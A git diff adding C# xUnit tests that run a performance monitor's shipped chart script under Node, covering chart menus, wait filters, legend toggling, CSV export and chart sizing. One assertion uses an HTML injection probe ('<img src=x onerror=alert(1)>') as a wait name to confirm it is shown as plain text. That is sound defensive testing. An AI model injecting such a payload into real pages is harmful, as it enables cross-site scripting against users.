+        Assert.Equal(UsualItems.Append("Show Queries With WAIT_A at This Time").ToArray(), Strings(r.GetProperty("waitHighItems")));
+        Assert.Equal(UsualItems.Append("Show Queries With WAIT_B at This Time").ToArray(), Strings(r.GetProperty("waitLowItems")));
+        var call = OneCall(r, "waitCall");
+        Assert.Equal(ClickedMs - HalfMs, call.GetProperty("startMs").GetInt64());
+        Assert.Equal(ClickedMs + HalfMs, call.GetProperty("endMs").GetInt64());
+        Assert.Equal("WAIT_B", r.GetProperty("filterAfterWaitItem").GetString());
+        Assert.Equal("", r.GetProperty("filterOtherServer").GetString());
+        Assert.Equal("#/server/A/queries", r.GetProperty("waitHashAfter").GetString());
+        // The wait is text: a wait name that looks like markup stays one label with no child element.
+        Assert.Equal("Show Queries With <img src=x onerror=alert(1)> at This Time", r.GetProperty("markupItemText").GetString());
+        Assert.Equal(0, r.GetProperty("markupItemChildren").GetInt32());
+    }
+
+    [Fact]
+    public void TheWaitItem_FallsBackToActiveQueries_WhenNoSeriesHasAValueThere()
+    {
+        var r = Run();
+        Assert.Equal(UsualItems.Append("Show Active Queries at This Time").ToArray(), Strings(r.GetProperty("waitFallbackItems")));
+        // A series with no value at the nearest point is not the nearest one, however close it is drawn to the click.
+        Assert.Equal(UsualItems.Append("Show Queries With WAIT_B at This Time").ToArray(), Strings(r.GetProperty("waitOnlyBItems")));
+        Assert.Equal("", r.GetProperty("filterAfterFallbackItem").GetString());
+    }
+
+    [Fact]
+    public void TheWaitItem_NeverNamesAQdsWait_AndFallsBackToTheGenericItemThatClearsTheFilter()
+    {
+        // Query Store's QDS_* waits are never linked from a row, so the chart's item cannot offer one either, even
+        // when that series is the one drawn nearest the click.
+        var r = Run();
+        Assert.Equal(UsualItems.Append("Show Active Queries at This Time").ToArray(), Strings(r.GetProperty("qdsItems")));
+        Assert.Equal("", r.GetProperty("filterAfterQdsItem").GetString());
+    }
+
+    [Fact]
+    public void TheGenericActiveQueriesItem_ClearsTheWaitFilter_AndBlockingLeavesIt()
+    {
+        var r = Run();
+        Assert.Equal("", r.GetProperty("filterAfterGenericItem").GetString());
+        Assert.Equal("WAIT_A", r.GetProperty("filterAfterBlockingItem").GetString());
+    }
+
+    [Fact]
+    public void ARestoredMenu_KeepsTheNamedWait()
+    {
+        var r = Run();
+        Assert.Equal(UsualItems.Append("Show Queries With WAIT_B at This Time").ToArray(), Strings(r.GetProperty("restoredWaitItems")));
+        Assert.Equal(ClickedMs - HalfMs, OneCall(r, "restoredWaitCall").GetProperty("startMs").GetInt64());
+        Assert.Equal("WAIT_B", r.GetProperty("restoredFilter").GetString());
+    }
+
+    [Fact]
+    public void OpenServerTabAt_KeepsTheRangeForANullTime_AndARefusedRangeSetsNothingAndRoutesNowhere()
+    {
+        var r = Run();
+        Assert.Equal(JsonValueKind.Null, r.GetProperty("keepRangeReturn").ValueKind);
+        Assert.Equal(0, r.GetProperty("keepRangeCalls").GetInt32());
+        Assert.Equal(1, r.GetProperty("keepRangeBeforeRoute").GetInt32());
+        Assert.Equal("#/server/A/queries", r.GetProperty("keepRangeHash").GetString());
+
+        Assert.Equal("The end cannot be in the future.", r.GetProperty("refusedReturn").GetString());
+        Assert.Equal(0, r.GetProperty("refusedBeforeRoute").GetInt32());
+        Assert.Equal(new[] { "The end cannot be in the future." }, Strings(r.GetProperty("refusedSaid")));
+        Assert.Equal("#/server/A/cpu", r.GetProperty("refusedDirectHash").GetString());
+    }
+
+    [Fact]
+    public void TheQueryWaitFilter_IsPerServer_AndABlankWaitClearsIt()
+    {
+        var r = Run();
+        Assert.Equal("CXPACKET", r.GetProperty("filterS1").GetString());
+        Assert.Equal("LCK_M_X", r.GetProperty("filterS2").GetString());
+        Assert.Equal("", r.GetProperty("filterUnset").GetString());
+        Assert.Equal("", r.GetProperty("filterS1Blank").GetString());
+        Assert.Equal("", r.GetProperty("filterS2Null").GetString());
+    }
+}
diff --git a/Darling/Darling.Tests/WebChartLegendIsolateBehaviourTests.cs b/Darling/Darling.Tests/WebChartLegendIsolateBehaviourTests.cs
new file mode 100644
index 0000000000..6f27dee349
--- /dev/null
+++ b/Darling/Darling.Tests/WebChartLegendIsolateBehaviourTests.cs
@@ -0,0 +1,333 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A web line chart's legend hides, shows and isolates a series (#5247), and an entry that drills keeps its drill beside
+/// the switch, by mouse and keyboard. These run the shipped <c>charts.js</c> under Node
+/// (<c>web-chart-legend-harness.mjs</c>). Skipped when Node is not installed, except the one test that pins the
+/// swatch's click pad in <c>app.css</c> as source, since a Node run has no layout.
+/// </summary>
+public sealed class WebChartLegendIsolateBehaviourTests
+{
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-chart-legend-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped chart script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the chart legend harness did not finish in 20 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the chart legend harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n')[0]);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static JsonElement S(JsonElement r, string name) => r.GetProperty(name);
+    private static string[] Off(JsonElement s) => s.GetProperty("off").EnumerateArray().Select(e => e.GetString()!).ToArray();
+    private static int Lines(JsonElement s) => s.GetProperty("lines").GetInt32();
+    private static double Top(JsonElement s) => s.GetProperty("top").GetDouble();
+    private static string[] Drilled(JsonElement s) => s.GetProperty("drilled").EnumerateArray().Select(e => e.GetString()!).ToArray();
+    private static string[] Prevented(JsonElement s) => s.GetProperty("prevented").EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void ClickingAnEntry_HidesTheSeries_AndClickingAgainShowsIt()
+    {
+        var r = Run();
+        Assert.Equal(3, Lines(S(r, "initial")));
+        Assert.Equal(2, Lines(S(r, "afterHide")));
+        Assert.Equal(3, Lines(S(r, "afterShow")));
+        Assert.Empty(Off(S(r, "afterShow")));
+    }
+
+    [Fact]
+    public void AHiddenSeries_StaysInTheLegend_MarkedHidden()
+    {
+        var hidden = S(Run(), "afterHide");
+        Assert.Equal(new[] { "BIG" }, Off(hidden));
+        Assert.Equal("false", hidden.GetProperty("pressed").GetProperty("BIG").GetString());
+        Assert.Equal("true", hidden.GetProperty("pressed").GetProperty("SMALL").GetString());
+    }
+
+    [Fact]
+    public void TheAxis_RescalesToTheVisibleSeries()
+    {
+        var r = Run();
+        Assert.True(Top(S(r, "initial")) >= 1900, "the dominant series sets the full axis");
+        Assert.True(Top(S(r, "rescaled")) <= 10, "with it hidden, the axis fits the small series");
+        Assert.True(Top(S(r, "isolated")) <= 5);
+        Assert.Equal(Top(S(r, "initial")), Top(S(r, "afterShow")));
+    }
+
+    [Fact]
+    public void AStackedChart_RestacksOverTheVisibleSeries()
+    {
+        var r = Run();
+        Assert.True(Top(S(r, "stackedBefore")) >= 2900);
+        Assert.True(Top(S(r, "stackedAfter")) <= 10);
+    }
+
+    [Fact]
+    public void Isolate_ShowsExactlyOneSeries_AndASecondIsolateRestoresAll()
+    {
+        var r = Run();
+        Assert.Equal(1, Lines(S(r, "isolated")));
+        Assert.Equal(new[] { "BIG", "MID" }, Off(S(r, "isolated")));
+        Assert.Equal(3, Lines(S(r, "isolateUndone")));
+    }
+
+    [Fact]
+    public void ShowAll_AppearsOnlyWhileSomethingIsHidden_AndRestoresEverything()
+    {
+        var r = Run();
+        Assert.False(S(r, "initial").GetProperty("showAll").GetBoolean());
+        Assert.True(S(r, "afterHide").GetProperty("showAll").GetBoolean());
+        Assert.Equal("Show all (2 hidden)", S(r, "beforeShowAll").GetProperty("showAllText").GetString());
+        var after = S(r, "afterShowAll");
+        Assert.False(after.GetProperty("showAll").GetBoolean());
+        Assert.Equal(3, Lines(after));
+    }
+
+    [Fact]
+    public void ToggleNeverHidesTheLastVisibleSeries()
+    {
+        var kept = S(Run(), "lastKept");
+        Assert.Equal(1, Lines(kept));
+        Assert.Equal(new[] { "BIG", "SMALL" }, Off(kept));
+    }
+
+    [Fact]
+    public void TheHiddenState_SurvivesARebuildOfTheSameChart()
+    {
+        var r = Run();
+        Assert.Equal(new[] { "BIG" }, Off(S(r, "rebuilt")));
+        Assert.Equal(2, Lines(S(r, "rebuilt")));
+        Assert.Equal("big", S(r, "held")[0].GetString());
+    }
+
+    [Fact]
+    public void TheHiddenState_DoesNotLeakToAnotherServerRangeOrChart()
+    {
+        var r = Run();
+        foreach (var other in new[] { "otherServer", "otherRange", "otherChart" })
+        {
+            Assert.Empty(Off(S(r, other)));
+            Assert.Equal(3, Lines(S(r, other)));
+        }
+    }
+
+    [Fact]
+    public void AComposedPanel_KeepsItsHiddenSeriesAcrossARebuild_AndDoesNotLeakToAnotherPanelOrServer()
+    {
+        var r = Run();
+        Assert.Equal(new[] { "AAA" }, Off(S(r, "composedHidden")));
+        Assert.Equal(new[] { "AAA" }, Off(S(r, "composedRebuilt")));
+        Assert.Empty(Off(S(r, "composedOtherPanel")));
+        Assert.Empty(Off(S(r, "composedOtherServer")));
+    }
+
+    [Fact]
+    public void ExportToCsv_CarriesExactlyTheShownSeries()
+    {
+        var r = Run();
+        Assert.Equal(new[] { "BIG", "SMALL", "MID" }, S(r, "csvAll").EnumerateArray().Select(e => e.GetString()!).ToArray());
+        Assert.Equal(new[] { "SMALL", "MID" }, S(r, "csvHidden").EnumerateArray().Select(e => e.GetString()!).ToArray());
+    }
+
+    // A legend entry that carries a drill (a grouped series, onSelect) keeps it beside the switch: the label drills, the
+    // swatch hides or shows. The two gestures never overlap, and neither one loses its keyboard path.
+    [Fact]
+    public void ADrillingEntry_DrillsFromItsLabel_AndItsSwatchHidesOrShowsWithoutDrilling()
+    {
+        var r = Run();
+        var start = S(r, "drillInitial");
+        Assert.Equal("item drillable switchable", start.GetProperty("itemClass").GetString());
+        Assert.Equal("Filter to BIG", start.GetProperty("itemTitle").GetString());
+        Assert.Equal("true", start.GetProperty("swatchPressed").GetString());
+
+        var label = S(r, "drillAfterLabelClick");
+        Assert.Equal(new[] { "BIG" }, Drilled(label));
+        Assert.Empty(Off(label));
+        Assert.Equal(3, Lines(label));
+
+        var swatch = S(r, "drillAfterSwatchClick");
+        Assert.Equal(new[] { "BIG" }, Drilled(swatch));
+        Assert.Equal(new[] { "BIG" }, Off(swatch));
+        Assert.Equal(2, Lines(swatch));
+        Assert.Equal("false", swatch.GetProperty("swatchPressed").GetString());
+
+        var hidden = S(r, "drillWhileHidden");
+        Assert.Equal(new[] { "BIG", "BIG" }, Drilled(hidden));
+        Assert.Equal(new[] { "BIG" }, Off(hidden));
+    }
+
+    [Fact]
+    public void ADrillingEntrysLabel_IsAKeyboardControl_WhereEnterAndSpaceDrill_AndOtherKeysDoNot()
+    {
+        var r = Run();
+        var start = S(r, "drillInitial");
+        Assert.Equal("button", start.GetProperty("labelRole").GetString());
+        Assert.Equal("0", start.GetProperty("labelTab").GetString());
+
+        var keys = S(r, "drillAfterKeys");
+        Assert.Equal(new[] { "SMALL", "MID" }, Drilled(keys));
+        Assert.Empty(Off(keys));
+        Assert.Equal(3, Lines(keys));
+        // Enter and Space are claimed (so the page does not scroll on Space); Tab is left alone, so focus still moves on.
+        Assert.Equal(new[] { "Enter", " " }, Prevented(keys));
+    }
+
+    [Fact]
+    public void OnADrillingEntry_TheSwatchSwitchesByKeyAndDoubleClick_AndNeverDrills()
+    {
+        var r = Run();
+        Assert.Equal(new[] { "SMALL" }, Off(S(r, "drillSwatchEnter")));
+        Assert.Equal(new[] { "BIG", "MID" }, Off(S(r, "drillSwatchShiftEnter")));
+        Assert.Equal(1, Lines(S(r, "drillSwatchShiftEnter")));
+        Assert.Empty(Off(S(r, "drillSwatchDblClick")));
+        foreach (var step in new[] { "drillSwatchEnter", "drillSwatchShiftEnter", "drillSwatchDblClick" })
+            Assert.Empty(Drilled(S(r, step)));
+        // The swatch claims Enter, and Shift+Enter (the key is still Enter); a double-click claims nothing more.
+        Assert.Equal(new[] { "Enter" }, Prevented(S(r, "drillSwatchEnter")));
+        Assert.Equal(new[] { "Enter", "Enter" }, Prevented(S(r, "drillSwatchShiftEnter")));
+        Assert.Equal(new[] { "Enter", "Enter" }, Prevented(S(r, "drillSwatchDblClick")));
+    }
+
+    /// <summary>
+    /// #5247: the swatch of a drilling entry, which is its hide/show switch, keeps a transparent click pad that makes
+    /// it a 20 x 25 px target.
+    ///
+    /// <para>The swatch is 12 x 3 px, and on an entry that drills it is the only hide/show control, so an
+    /// <c>::after</c> box widens its click area without moving anything. A Node run has no layout, so deleting that
+    /// rule, the <c>position: relative</c> that anchors it or its <c>content</c> would leave every other test green and
+    /// put the swatch back at 12 x 3 px. The pad must also stop short of the label, which sits one item gap to its
+    /// right (0.35rem on the 14 px root, 4.9 px), or it would take clicks meant for the label's drill. The swatch size
+    /// and that gap are read from the stylesheet and not typed here, so a wider pad, a narrower gap or a smaller root
+    /// font fails the pin. Pinned as source because the repo carries no CSS/DOM test runner (the same pattern as
+    /// FleetPageAttentionFilterTests); the geometry was also measured in a real browser.</para>
+    /// </summary>
+    [Fact]
+    public void ADrillingEntrysSwatch_HasATransparentPad_ThatMakesA20By25Target_AndStopsShortOfTheLabel()
+    {
+        // Read as it sits on disk: no anchor below spans a line break, and [^}] and \s match either newline.
+        var css = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "css", "app.css");
+
+        var size = Regex.Match(css, @"\.chart-legend \.swatch\s*\{[^}]*width:\s*(\d+)px[^}]*height:\s*(\d+)px");
+        Assert.True(size.Success, "the legend swatch lost its width and height in px");
+        var swatchWidth = int.Parse(size.Groups[1].Value, CultureInfo.InvariantCulture);
+        var swatchHeight = int.Parse(size.Groups[2].Value, CultureInfo.InvariantCulture);
+
+        // The pad is placed against the swatch, so the swatch must be the positioned box.
+        Assert.True(
+            Regex.IsMatch(css, @"\.chart-legend \.item \.swatch\[role=""button""\]\s*\{[^}]*position:\s*relative"),
+            "the switch swatch is no longer position: relative, so its pad is not anchored to it");
+
+        var rule = Regex.Match(css, @"\.chart-legend \.item \.swatch\[role=""button""\]::after\s*\{([^}]*)\}");
+        Assert.True(rule.Success, "the switch swatch lost its click pad");
+        var pad = rule.Groups[1].Value;
+        Assert.True(Regex.IsMatch(pad, @"content:\s*"""""), "the click pad has no content, so the browser draws no box for it");
+        Assert.True(Regex.IsMatch(pad, @"position:\s*absolute"), "the click pad is not out of flow, so it would move the label");
+
+        int Reach(string side)
+        {
+            var m = Regex.Match(pad, @"(?<![\w-])" + side + @":\s*-(\d+)px");
+            Assert.True(m.Success, "the click pad has no negative px offset on its " + side);
+            return int.Parse(m.Groups[1].Value, CultureInfo.InvariantCulture);
+        }
+
+        var right = Reach("right");
+        var wide = swatchWidth + Reach("left") + right;
+        var tall = swatchHeight + Reach("top") + Reach("bottom");
+        Assert.True(wide >= 20, $"the pad makes the swatch {wide} px wide, under the 20 px target");
+        Assert.True(tall >= 25, $"the pad makes the swatch {tall} px tall, under the 25 px target");
+
+        // The label is one item gap to the right of the swatch (rem, on the root font size): the pad must stop short of it.
+        var root = Regex.Match(css, @"html, body\s*\{[^}]*font-size:\s*(\d+(?:\.\d+)?)px");
+        var gap = Regex.Match(css, @"\.chart-legend \.item\s*\{[^}]*gap:\s*(\d+(?:\.\d+)?)rem");
+        Assert.True(root.Success && gap.Success, "the root font size or the legend item gap changed shape, so the pad cannot be checked against the label");
+        var gapPx = double.Parse(root.Groups[1].Value, CultureInfo.InvariantCulture) * double.Parse(gap.Groups[1].Value, CultureInfo.InvariantCulture);
+        Assert.True(right < gapPx, $"the pad reaches {right} px to the right, and the label is only {gapPx.ToString("0.##", CultureInfo.InvariantCulture)} px away");
+    }
+
+    [Fact]
+    public void ADrillingEntryWithNoSwitch_DrillsFromTheWholeEntry_ByClickOrKey_OncePerClick()
+    {
+        var r = Run();
+        var start = S(r, "noSwitchInitial");
+        Assert.Equal("item drillable", start.GetProperty("itemClass").GetString());
+        Assert.Equal("button", start.GetProperty("itemRole").GetString());
+        Assert.Equal("0", start.GetProperty("itemTab").GetString());
+        Assert.Equal(0, start.GetProperty("switchable").GetInt32());
+        Assert.False(start.GetProperty("showAll").GetBoolean());
+
+        Assert.Equal(new[] { "BIG" }, Drilled(S(r, "noSwitchSwatchClick")));
+        Assert.Equal(new[] { "BIG", "SMALL" }, Drilled(S(r, "noSwitchLabelClick")));
+        var keys = S(r, "noSwitchKeys");
+        Assert.Equal(new[] { "BIG", "SMALL", "MID", "MID" }, Drilled(keys));
+        Assert.Equal(3, Lines(keys));
+        // The whole entry is the control here, and it claims the Space then the Enter that were sent.
+        Assert.Equal(new[] { " ", "Enter" }, Prevented(keys));
+    }
+
+    [Fact]
+    public void TheKeyboard_TogglesWithEnterOrSpace_IsolatesWithShiftEnter_AndLeavesOtherKeysAlone()
+    {
+        var r = Run();
+        Assert.Equal("button", S(r, "kbRoles").GetProperty("role").GetString());
+        Assert.Equal("0", S(r, "kbRoles").GetProperty("tab").GetString());
+        Assert.Equal(new[] { "BIG" }, Off(S(r, "kbEnterHides")));
+        Assert.Empty(Off(S(r, "kbSpaceShows")));
+        Assert.Empty(Off(S(r, "kbOtherKey")));
+        Assert.Equal(1, Lines(S(r, "kbShiftEnterIsolates")));
+        Assert.Equal(new[] { "BIG", "SMALL" }, Off(S(r, "kbShiftEnterIsolates")));
+        Assert.Empty(Off(S(r, "kbShiftClickRestores")));
+        // Only Enter and Space are claimed (so the page does not scroll on Space); any other key is left alone.
+        Assert.Equal(new[] { "Enter", " ", "Enter" }, r.GetProperty("kbPrevented").EnumerateArray().Select(e => e.GetString()!).ToArray());
+    }
+
+    [Fact]
+    public void AHeldHiddenSet_ThatWouldHideEverySeriesOfARefreshedChart_DrawsThemAll_NotAnEmptyPlot()
+    {
+        var shrunk = S(Run(), "shrunk");
+        Assert.Equal(2, Lines(shrunk));
+        Assert.Empty(Off(shrunk));
+        Assert.False(shrunk.GetProperty("showAll").GetBoolean());
+    }
+}
diff --git a/Darling/Darling.Tests/WebChartMenuBehaviourTests.cs b/Darling/Darling.Tests/WebChartMenuBehaviourTests.cs
new file mode 100644
index 0000000000..85e980c12b
--- /dev/null
+++ b/Darling/Darling.Tests/WebChartMenuBehaviourTests.cs
@@ -0,0 +1,144 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Every web line chart carries a small menu (a visible button, or right-click) with Copy Image, Save Image As,
+/// Reset zoom (only while zoomed), Export Data to CSV and Show Data Source (only when the chart knows its read). These run
+/// the shipped <c>charts.js</c> under Node (<c>web-chart-menu-harness.mjs</c>). Skipped when Node is not installed.
+/// </summary>
+public sealed class WebChartMenuBehaviourTests
+{
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-chart-menu-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped chart script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the chart menu harness did not finish in 20 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the chart menu harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n')[0]);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string[] Strings(JsonElement e) => e.EnumerateArray().Select(x => x.GetString()!).ToArray();
+
+    [Fact]
+    public void TheMenuOffersTheDesktopItemsInOrder_AndOpensFromTheButtonAndFromRightClick()
+    {
+        var r = Run();
+        Assert.True(r.GetProperty("hasButton").GetBoolean());
+        Assert.Equal(
+            new[] { "Copy Image", "Save Image As...", "Export Data to CSV...", "Show Data Source" },
+            Strings(r.GetProperty("itemsUnzoomed")));
+        Assert.Equal("true", r.GetProperty("expanded").GetString());
+        Assert.Equal(4, r.GetProperty("contextMenuItems").GetInt32());
+        Assert.True(r.GetProperty("contextMenuPrevented").GetBoolean());
+    }
+
+    [Fact]
+    public void ExportDataToCsv_WritesOneRowPerPointAndSeries()
+    {
+        var csv = Strings(Run().GetProperty("csv"));
+        Assert.Equal("DateTime (UTC),Series,Value", csv[0]);
+        Assert.Equal(1 + 11 * 2, csv.Length);
+        Assert.Equal("2026-01-01 00:03:00,Alpha,3", csv[7]);
+        Assert.Equal("2026-01-01 00:03:00,\"Beta, two\",6", csv[8]);
+    }
+
+    [Fact]
+    public void ShowDataSource_NamesTheReadAndItsParameters_AndIsHiddenWithoutOne()
+    {
+        var r = Run();
+        var text = r.GetProperty("sourceText").GetString()!;
+        Assert.Contains("Read: get_wait_stats", text);
+        Assert.Contains("hours = 4", text);
+        Assert.Contains("server = A", text);
+        Assert.DoesNotContain("Show Data Source", Strings(r.GetProperty("noSourceItems")));
+    }
+
+    [Fact]
+    public void ResetZoom_IsOfferedOnlyWhileZoomed_AndClearsTheZoom()
+    {
+        var r = Run();
+        Assert.DoesNotContain("Reset zoom", Strings(r.GetProperty("itemsUnzoomed")));
+        Assert.Contains("Reset zoom", Strings(r.GetProperty("zoomedItems")));
+        Assert.False(r.GetProperty("zoomAfterReset").GetBoolean());
+        Assert.DoesNotContain("Reset zoom", Strings(r.GetProperty("menuAfterReset")));
+    }
+
+    [Fact]
+    public void ARightClickMenu_IsPlacedByLeftAndTopOnly_AndStaysInsideTheChart()
+    {
+        var style = Run().GetProperty("rightClickStyle");
+        Assert.Equal("auto", style.GetProperty("right").GetString());
+        Assert.Equal("824px", style.GetProperty("left").GetString());
+        Assert.Equal("220px", style.GetProperty("top").GetString());
+    }
+
+    /// <summary>A chart drawn at a measured width (1,600 px, off the 1,000 px default, #5586) keeps a right-click menu
+    /// inside its wider box: the menu is 176 px wide, so a click at x 1,590 puts it at 1,424.</summary>
+    [Fact]
+    public void ARightClickMenu_OnAChartDrawnAtAMeasuredWidth_StaysInsideTheWiderBox()
+    {
+        var style = Run().GetProperty("measuredMenuStyle");
+        Assert.Equal(1600, style.GetProperty("svgWidth").GetDouble());
+        Assert.Equal("1424px", style.GetProperty("left").GetString());
+        Assert.Equal("100px", style.GetProperty("top").GetString());
+    }
+
+    [Fact]
+    public void ExportDataToCsv_OnAZoomedChart_WritesEveryLoadedPoint()
+    {
+        Assert.Equal(1 + 11 * 2, Run().GetProperty("zoomedCsvRows").GetInt32());
+    }
+
+    [Fact]
+    public void TabbingOutOfTheMenu_ClosesIt()
+    {
+        Assert.Equal(0, Run().GetProperty("menuAfterTab").GetInt32());
+    }
+
+    [Fact]
+    public void TheOpenMenuAndSourcePanel_SurviveARebuildOfTheSameChart_ButNotOnAnotherChart()
+    {
+        var r = Run();
+        Assert.Equal(1, r.GetProperty("rebuiltMenuOpen").GetInt32());
+        Assert.Contains("Read: get_wait_stats", r.GetProperty("rebuiltSource").GetString());
+        Assert.Equal(0, r.GetProperty("otherChartMenuOpen").GetInt32());
+    }
+}
diff --git a/Darling/Darling.Tests/WebChartWidthBehaviourTests.cs b/Darling/Darling.Tests/WebChartWidthBehaviourTests.cs
new file mode 100644
index 0000000000..d5d5903d49
--- /dev/null
+++ b/Darling/Darling.Tests/WebChartWidthBehaviourTests.cs
@@ -0,0 +1,517 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A web line, scatter or ranked bar chart is drawn at the width its box really has, one SVG unit per CSS pixel (#5586).
+///
+/// <para><b>The defect.</b> Both charts drew a 1000 x 320 viewBox with <c>preserveAspectRatio="none"</c> and CSS gave the
+/// SVG <c>width: 100%</c> but capped its height at 300 px, so above about 940 px the width kept growing while the height
+/// stopped, and the axis text was stretched sideways (about 2.1 times at 2,000 px). Below 1,000 px the whole chart,
+/// text included, shrank. The bar chart drew a 1000-wide viewBox that CSS scaled with the panel, so its labels grew on a
+/// wide panel and shrank on a narrow one.</para>
+///
+/// <para><b>The fix.</b> The chart is drawn for the width of its plot box and redrawn when that width changes, from the
+/// same data and the same spec (so the zoom window, the hidden series and the annotations are unchanged, and nothing is
+/// fetched). The x tick count follows the width. These run the shipped <c>charts.js</c> under Node
+/// (<c>web-chart-width-harness.mjs</c>) against a stand-in DOM with a ResizeObserver and a frame queue. Node is skipped
+/// when it is not installed; the source pins at the end hold without it.</para>
+/// </summary>
+public sealed class WebChartWidthBehaviourTests
+{
+    private static JsonElement Run()
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        // The labels are local wall-clock times: pin the zone so a run does not depend on the machine's (the harness sets
+        // America/New_York itself for the clock-change cases).
+        psi.Environment["TZ"] = "UTC";
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-chart-width-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped chart script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the chart width harness did not finish in 20 s");
+            }
+
+            Assert.True(proc.ExitCode == 0, "the chart width harness failed: " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n')[0]);
+            return doc.RootElement.Clone();
+        }
+    }
+
+    /// <summary>The viewBox is as wide as the box and as tall as the drawn height; the SVG's CSS size is the viewBox, so
+    /// the x and y scales are equal (and one), and nothing in the drawing carries a scale transform.</summary>
+    [Theory]
+    [InlineData("line", 600)]
+    [InlineData("line", 2000)]
+    [InlineData("scatter", 600)]
+    [InlineData("scatter", 2000)]
+    public void TheChart_IsDrawnAtTheBoxWidth_WithEqualScalesOnBothAxes(string kind, int width)
+    {
+        var g = Run().GetProperty(kind).GetProperty(width.ToString());
+        Assert.Equal(width, g.GetProperty("vbW").GetDouble());
+        Assert.Equal(300, g.GetProperty("vbH").GetDouble());
+        Assert.Equal(g.GetProperty("vbW").GetDouble(), g.GetProperty("cssW").GetDouble());
+        Assert.Equal(g.GetProperty("vbH").GetDouble(), g.GetProperty("cssH").GetDouble());
+        // rendered width / viewBox width == rendered height / viewBox height, and both are one: no stretched text
+        Assert.Equal(g.GetProperty("xScale").GetDouble(), g.GetProperty("yScale").GetDouble());
+        Assert.Equal(1d, g.GetProperty("xScale").GetDouble());
+        Assert.Equal(JsonValueKind.Null, g.GetProperty("aspect").ValueKind);
+        Assert.Equal(0, g.GetProperty("transformed").GetInt32());
+        Assert.True(g.GetProperty("texts").GetInt32() > 0);
+    }
+
+    /// <summary>A chart is built before it is on the page (no width yet): it draws at the default width and the first
+    /// measurement redraws it. That holds for the bar chart too.</summary>
+    [Fact]
+    public void AChartThatIsNotMountedYet_DrawsAtTheDefaultWidth()
+    {
+        var r = Run();
+        Assert.Equal(1000, r.GetProperty("unmounted").GetProperty("vbW").GetDouble());
+        Assert.Equal(1000, r.GetProperty("unmountedScatter").GetProperty("vbW").GetDouble());
+        Assert.Equal(1000, r.GetProperty("unmountedBar").GetProperty("vbW").GetDouble());
+    }
+
+    /// <summary>The bar chart's viewBox is as wide as its box and as tall as its bars need (a row each, so the width never
+    /// changes the height), and the SVG's CSS size is the viewBox: equal scales, both one, so the 12px labels are 12px on
+    /// any panel. RED proof: with the old 1000-wide viewBox (<c>preserveAspectRatio="xMinYMin meet"</c>) the viewBox is 1000
+    /// wide at 600 and at 2,000 px.</summary>
+    [Theory]
+    [InlineData(600)]
+    [InlineData(2000)]
